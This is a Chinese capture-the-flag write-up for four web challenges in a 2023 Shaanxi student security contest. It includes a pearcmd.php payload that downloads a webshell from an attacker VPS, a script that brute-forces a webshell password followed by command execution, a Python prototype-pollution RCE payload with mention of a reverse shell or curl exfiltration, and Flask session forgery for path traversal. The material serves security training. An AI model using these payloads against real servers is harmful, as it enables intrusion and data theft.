2023年第三届陕西省大学生网络安全技能大赛职业组-writup

发布时间 2023-06-12 13:49:09作者: 晨风晓曦

题目列表

image-20230608164309609

easyrce

题目描述

题目名称

easyrce

题目难度

★★

题目分值

1000

考察知识点

pearcmd.php

代码审计

命令执行

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230608164427342

第二步

解题过程:

1、看到题目中出现$_SERVER["QUERY_STRING"],猜测考点是pearcmd.php。使用exp直接下载木马文件

url?PK=/usr/local/lib/php/pearcmd.php&+download+http://vps/evil.php

image-20230608164507565

2、pearcmd.php的download参数会自动讲evil.php下载到web目录下,所以直接蚁剑连接

image-20230608164528358

3、读取flag

image-20230608164538815

Flag

flag{22dfbcefc2b36370214936bb92b7a3b6}

mua

题目描述

题目名称

mua

题目难度

★★★

题目分值

100

考察知识点

汉字的字节长度、命令执行

解题步骤

第一步

题目信息:

访问网页,得到如下内容

image-20230608164710462

第二步

解题过程:

1、通过信息收集可以发现有robots.txt文件,访问

image-20230608164719839

2、访问substr_pass.php,右键查看源代码可以看到提示,传参a和b

image-20230608164728215

3、由上述信息可知,通过传参a、b可以截取部分木马的连接密钥,经过测试后,发现b最大只能为3,a最大为83,且密钥里头有中文通过编写py脚本可以遍历出连接密钥,脚本如下:

import requests

ip = "xx.xx.xx.xx"
port = "xxxx"
a=0
key = ""

while(a<8):
    url = "http://"+ip+":"+port+"/substr_pass.php?a="+str(a)+"&b=1"
    resp = requests.get(url)
    resp.encoding = "UTF-8"
    key += resp.text.split("<")[0]
    a += 1

while(a<84):
    url = "http://"+ip+":"+port+"/substr_pass.php?a="+str(a)+"&b=3"
    resp = requests.get(url)
    resp.encoding = "UTF-8"
    key += resp.text.split("<")[0]
    a += 3

print(key)

image-20230608164756107

password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善

4、获取密钥后,get传参即可利用木马文件,执行命令 ls / 发现flag在根目录下

/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=ls /
/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=cat /hf*

image-20230608164838674

PPP

题目描述

题目名称

PPP

题目难度

★★★

题目分值

1000

考察知识点

原型链污染
curl外带

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230608164904790

第二步

解题过程:

1、阅读附件中的源码,知道是考察原型链污染:POST请求

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
 for k, v in src.items():
 if hasattr(dst, '__getitem__'):
 if dst.get(k) and type(v) == dict:
 merge(v, dst.get(k))
 else:
 dst[k] = v
 elif hasattr(dst, k) and type(v) == dict:
 merge(v, getattr(dst, k))
 else:
 setattr(dst, k, v)

def evilFunc(arg_1 , * , shell = False): 
 if not shell:
 print(arg_1)
 else:
 
 print(__import__("os").popen(arg_1).read())    

class Family:
 def __init__(self):
 pass 

family = Family()

@app.route('/',methods=['POST', 'GET'])
def index():
 if request.data:
 merge(json.loads(request.data), family)
 evilFunc("whoami")
 return "fun"

@app.route('/eval',methods=['GET'])
def eval():
 if request.args.get('cmd'):
 cmd = request.args.get('cmd')
 evilFunc(cmd)
 return "ok"


app.run(host="0.0.0.0",port= 3000,debug=False)

2、构造POST请求内容

{
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                    "shell" : 1
                }
            }
        }
    }
}

3、hackbar发送POST请求

image-20230608165010755

4、反弹shell(或者curl外带)

image-20230608165020612

5、得到flag

image-20230608165030486

Flag

修改flag格式,flag{85e17087313af6f889b98b7e82bb7688}

pyweb

题目描述

题目名称

pyweb

题目难度

★★★★★

题目分值

1000

考察知识点

swp文件源码泄露
flask的session伪造
python哈希库特性
javascript审计
python-flask审计

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230608165139187

第二步

解题过程:

1、发现robots.txt中敏感目录。

image-20230608165149104

2、访问 http://url/static/tmp/.app.py.swp 下载.swp文件。vim -r复原swp文件,根据恢复的app.py发现登录方法,成功登录体验各种业务功能。

image-20230608165204049

3、根据注释提示,猜测hash库可能会在报错下返回特殊的值,因为保证每个人独一无二,猜测与用户名有关。根据username.encode('utf-8'),判断可以通过session伪造导致hash处理报错。

起一个python的flask服务伪造session

import os
import re
from datetime import datetime

from flask import Flask, request, session, send_file, render_template
from flask import redirect, request


app = Flask(__name__)
project_root = app.root_path
app.secret_key = 'flag{is_a_fake_flag_but_welcome}'

@app.route('/', methods=['GET'])
@app.route('/login', methods=['GET', 'POST'])
def login():
            session['username'] = "../../"
      
            return '只有一位大老板才有邀请的权限!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000,debug=False)

运行后取出cookie中的session备用

4、阅读源码,确定有可以展示目录的位置

在 /opusList 路由下可以列目录,使用上一步伪造的session

image-20230608165235026

列出的目录和session中封存的username有关,需要修改值进行目录穿越,当为../../时可以穿越到有flag的位置

5、分析源码,发现可以产生png,且提供了下载png功能

在路由 /opusDownload 下传值all-gzip

image-20230608165246966

具体内容为

JavaScript

POST /opusDownload HTTP/1.1
Host: xx.xxx.xxx.x:8070
Content-Length: 147
Cache-Control: max-age=0
Origin: http://xx.xxx.xxx.x:8070
DNT: 1
Cookie: session=eyJ1c2VybmFtZSI6Ii4uLy4uLyJ9.ZHdC1Q.WD1kHn3M4XkwzCddqctbCaUqLDs
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylSZVo0sBPTiUbX2c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xx.xxx.xxx.x:8070/opusDownload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pt;q=0.5,zh-TW;q=0.4
Connection: close

------WebKitFormBoundarylSZVo0sBPTiUbX2c
Content-Disposition: form-data; name="opusname"

all-gzip
------WebKitFormBoundarylSZVo0sBPTiUbX2c--

这一步使得对应目录下每一份文件都产生了相应png

6、下载png,与上一步相似,区别在于这一步指定下载对象(上一步all-gzip会产生png),传值为flag.gzip.json.handwrite.png

image-20230608165323749

7、上一步中的包替换burp代理处拦截到的包,然后放包,浏览器自动跳转,右击另存为下载图片

image-20230608165335004

8、解析图片获得flag,脚本在tools文件夹里,用已给的附件解出图片中的flag

image-20230608165351729

image-20230608165359635

Flag

flag{f94c24e09c3e71a107b255554af37e0d}

官方复现环境链接:https://www.yunyansec.com/#/experiment/events/